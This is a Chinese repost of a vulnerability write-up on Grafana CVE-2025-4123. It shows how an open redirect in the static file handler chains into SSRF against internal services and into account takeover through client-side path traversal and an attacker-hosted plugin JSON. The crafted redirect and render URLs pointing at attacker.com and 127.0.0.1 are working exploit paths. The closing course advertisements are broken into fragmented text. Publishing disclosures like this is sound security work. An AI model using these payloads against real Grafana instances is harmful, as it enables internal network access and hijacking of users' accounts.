Grafana CVE-2025-4123:SSRF 和账户接管漏洞完整解读

Grafana CVE-2025-4123:SSRF 和账户接管漏洞完整解读

haidragon 安全狗的自我修养 2025-05-24 00:05

https://nightbloodz.github.io/grafana-CVE-2025-4123/

概括

当 Web 应用程序采用 URL 参数并将用户重定向到指定的 URL 而不进行验证时,就会发生开放重定向。
/redirect?url=https://evil.com
 –> (302 Redirect) –> https://evil.com
这个问题本身可能看起来并不危险,但这种类型的漏洞却揭示了两个独立的漏洞:一个是完全读取的 SSRF 漏洞,另一个是账户接管漏洞。
在这篇文章中,我将逐步讲解我是如何发现这两个漏洞的。

为什么选择 Grafana?

Grafana 是一个开源分析平台,主要用 Go 和 TypeScript 构建,用于可视化来自 Prometheus 和 InfluxDB 等来源的数据。
我觉得在这个 Web 应用中发现漏洞是一个不小的挑战,所以我下载了源代码并开始调试——尽管这是我第一次使用 Go 语言。我决定专注于应用程序中未经身份验证的部分。

入口点:开放重定向

我检查了所有未认证的端点定义在api/api.go

// not logged in views

r.Get(
“/logout”
, hs.Logout)

r.Post(
“/login”
, requestmeta.SetOwner(requestmeta.TeamAuth), quota(
string

r.Get(
“/login/:name”
, quota(
string
(auth.QuotaTargetSrv)), hs.OAuthLogin)

r.Get(
“/login”
, hs.LoginView)

r.Get(
“”
, hs.Index)

// authed views

r.Get(
“/”
, reqSignedIn, hs.Index)

r.Get(
“/profile/”
, reqSignedInNoAnonymous, hs.Index)

…## 功能

我甚至深入研究了整个应用程序中使用的中间件。这时,我偶然发现了一个负责处理静态路由的函数,它引起了我的注意。

func
staticHandler
(ctx *web.Context, log log.Logger, opt StaticOptions)
bool
 {

if
 ctx.Req.Method != 
“GET”
 && ctx.Req.Method != 
“HEAD”
 {

return
false

}

file := ctx.Req.URL.Path

for
 _, p := 
range
 opt.Exclude {

if
 file == p {

return
false

}

}

// if we have a prefix, filter requests by stripping the prefix

if
 opt.Prefix != 
“”
 {

if
 !strings.HasPrefix(file, opt.Prefix) {

return
false

}

file = file[
len
(opt.Prefix):]

if
 file != 
“”
 && file[
0
] != 
‘/’
 {

return
false

}

}

f, err := opt.FileSystem.Open(file)

if
 err != 
nil
 {

return
false

}

…………..

}
该函数用于根据用户输入从系统中检索文件。自然而然地,我的第一个想法是尝试使用类似路径遍历技术加载任意文件../。

我将向您解释所有代码和清理措施的流程(了解漏洞很重要):

因此,如果您请求/public/file/../../../name,路径将被清理并解析为/staticfiles/etc/etc/name,从而有效地阻止对目标目录之外的非目标文件的访问。

此外,如果解析的最终路径指向一个文件夹,该StaticHandler函数会检查其中的默认文件 – 通常/index.html从该目录提供服务。

if
 fi.IsDir() {

// Redirect if missing trailing slash.

if
 !strings.HasSuffix(ctx.Req.URL.Path, 
“/”
) {

path := fmt.Sprintf(
“%s/”
, ctx.Req.URL.Path)

if
 !strings.HasPrefix(path, 
“/”
) {

// Disambiguate that it’s a path relative to this server

path = fmt.Sprintf(
“/%s”
, path)


else
 {

// A string starting with // or /\ is interpreted by browsers as a URL, and not a server relative path

rePrefix := regexp.MustCompile(
^(?:/\\|/+)
)

path = rePrefix.ReplaceAllString(path, 
“/”
)

}

http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)

return
true

}

file = path.Join(file, opt.IndexFile)

indexFile, err := opt.FileSystem.Open(file)

….

}
如您所见,如果最终文件是一个目录,并且提供的路由(/public/build)不以结尾/,则服务器将重定向到相同的路径,并在尾部/附加一个。

GET
 /
public
/build HTTP/
1.1

Host:
192.168
.
100.2
:
3000

HTTP
/
1.1
302
Found

Location

/public/
build/
这种重定向行为就是开放重定向漏洞发生的地方,接下来让我们深入研究一下。

客观的

我有一个场景,应用程序根据提供的路由进行重定向,因此最终的重定向URL始终以 开头/。我的目标是创建一个路由,当请求时,重定向到以 开头的有效完整URL /,例如:
– //attacker.com/…–>//表示协议相对 URL,使用与当前页面相同的协议(HTTPS)
– /\attacker.com/…–>/\做同样的事情

问题与解决方案

有效目录

为了实现重定向功能,我需要一个以 开头的路由/public/,当传递给 时opt.FileSystem.Open(file),解析为一个有效的目录。

我从 开始/public/\attacker.com/../..,它解析为一个空字符串””,然后附加到/staticfiles/etc/etc/,触发if fi.isDir(){}代码流。

/public/\attacker.com/../..–>

/\attacker.com/../..–> “”–>

/staticfiles/etc/etc/+ “”–>fi.isDir() TRUE

现在,我有一种方法可以注入任何将被解释为文件夹的有效载荷opt.FileSystem.Open(file)。
/public/{}/../../..

不一致

一旦进入该isDir()部分,/public/\attacker.com/../..路径就会到达该http.Redirect()函数。问题在于,该函数也会解析该路径,从而导致重定向路径为/。

if
 fi.IsDir() {

//path is “/public/\attacker.com/../..” but the final redirect is “/”

http.Redirect(ctx.Resp, ctx.Req, path, http.StatusFound)

return
true

}
如果我请求/public/\attacker.com/../..

因此,基本上,
我需要创建一条路由,在加载文件时/../../..通过该路由解析,但在执行重定向时仍未解析。opt.FileSystem.Open(file)
http.Redirect()

在每种情况下,路径的解析方式都不同。
– opt.FileSystem.Open(file)需要一个系统文件
– http.Redirect(path)需要一个 URL 路径

问题就是答案?

  • opt.FileSystem.Open(file)视为?普通字符。
  • http.Redirect(path)解释?为 URL 参数的开头。
    这意味着/public/\attacker.com/?/../../../..将被这样处理:

在opt.FileSystem.Open()— >
– /public/\attacker.com/?/../../../..解析为””–> /staticfiles/etc/etc/+””是一个有效的文件夹。
在http.Redirect()→
– /public/\attacker.com/?/../../../..–> 后面的任何内容都?被视为查询字符串,并且不会被解析为路径的一部分。
使用?->进行请求%3f:

最终有效载荷

该 URL/public/\attacker.com/?/../../../..需要解析为以 开头的完整 URL /\。
我直接使用了以下路径:/public/../\attacker.com/?/../../../..

当 http.Redirect() 解析路径时,它会删除该/public部分。

要求:

概括

完整阅读 SSRF

该开放重定向本身不会对安全产生任何严重影响,因此我需要将其与另一个功能链接起来。

Grafana 有一个名为的端点/render,用于根据提供的路径生成图像。

// rendering

r
.Get
(
“/render/*”
, requestmeta.
SetSLOGroup
(requestmeta.SLOGroupHighSlow), reqSignedIn, hs.RenderHandler)

此端点使用无头浏览器来呈现用户指定的路由的 HTML,它仅接受相对 URL 路径/route,而不允许呈现来自绝对 URL 的内容https://…。

但是,如果我使用找到的开放重定向重定向到内部服务会怎么样呢?
首先,我尝试google.es使用/render/public/..%252f%255Cgoogle.es%252f%253F%252f..%252f..

然后我设置了一个无法从外部访问的内部服务
,并尝试127.0.0.1:1234加载/render/public/..%252f%255C127.0.0.1:1234%252f%253F%252f..%252f..

利用此漏洞,我能够完全读取内部服务。由于使用浏览器进行渲染,我甚至可以POST通过精心设计一个表单来发送针对内部服务的请求。

Grafana 在 Intigriti 上的公共程序不包含该/render端点,因为它默认未启用。
此外,这个漏洞需要登录,所以我无法从中获得任何信息。

通过XSS接管帐户

这可能是我利用过的实现 XSS 和帐户接管的最佳漏洞链。

客户端路径遍历

Grafana 客户端代码的很大一部分允许客户端路径遍历。
例如,当你/invite/1在浏览器中加载时,JavaScript 会发出请求来/api/user/invite/1检索邀请信息。

但是,如果您加载/invite/..%2f..%2f..%2f..%2froute,JavaScript 会解析路径遍历并最终加载/route。

这创建了一个完美的场景来强制 JavaScript 加载开放重定向,进而从我的服务器获取特制的 JSON。

但首先,我需要找到一个以不安全的方式加载内容的端点并利用它执行 JavaScript。

加载恶意 JavaScript 文件

您可以使用/a/plugin-app/explore来加载和管理插件应用。
此功能的 JavaScript 从 URL 中提取插件应用名称,并使用它来向 请求插件信息/api/plugins/plugin-app/settings。

该/api/plugins/plugin-app/settings文件看起来像这样。

{

“name”
:
“plugin-app”
,

“type”
:
“app”
,

“id”
:
“plugin-app”
,

“enabled”
:
true
,

“pinned”
:
true
,

“autoEnabled”
:
true
,

“module”
:
“/modules/…./plugin-app.js”
,
//js file to load

“baseUrl”
:
“public/plugins/grafana-lokiexplore-app”
,

“info”
:
{

“author”
:
{

“name”
:
“Grafana”

}

}

}
/a/plugin-app/explore加载该文件,并执行参数中提供的 javascript “module”。

/a/plugin-app/explore容易受到客户端路径遍历的攻击,这使我能够在服务器上加载任何路由,而不是/api/plugin-app/settings。

这使我可以加载开放重定向,从而获取包含我想要的任何 JavaScript 文件的恶意 JSON。

基本上,我搭建了自己的服务器,并准备好了所有必要的 JS 和 JSON 文件。我只需要托管一个像这样的 JSON 文件:

并加载此路由,/a/..%2f..%2f..%2fpublic%2f..%252f%255Cattacker.com%252f%253Fp%252f..%252f..%23/explore利用客户端路径遍历和开放重定向。

结果:

我的恶意 JavaScript 文件被执行,允许我更改受害者的电子邮件并重置他们的密码。

概括

我一直以为 Grafana 不可能被黑客攻击。它看起来如此复杂和安全——说实话,它确实如此。

但发现这个漏洞证明,无论应用程序看起来多么安全,它总是有或最终会有漏洞。

我无法通过向多个漏洞赏金计划报告来进一步升级该漏洞,因为两种利用途径都需要身份验证

图片

图片

图片

图片


图片


rust语言全栈开发视频教程-第一季(2025最新)

图片

图片

图片

详细目录

mac/ios安全视频

图片

QT开发底层原理与安全逆向视频教程

图片

linux文件系统存储与文件过滤安全开发视频教程(2024最新)

图片

linux高级usb安全开发与源码分析视频教程

图片

linux程序设计与安全开发

图片

****- 图片

  • w
    i
    n
    d
    o
    w
    s

















  • 图片

  • w
    i
    n
    d
    o
    w
    s




    (




    )

  • 图片

  • U
    S
    B


    (




    )

  • 图片





  • (



    )

  • 图片

  • i
    o
    s

  • 图片

  • w
    i
    n
    d
    b
    g

  • 图片









  • (



    )

  • 图片
    图片
    图片

  • 图片

  • windows恶意软件开发与对抗视频教程

  • 图片

  • 图片


  • 图片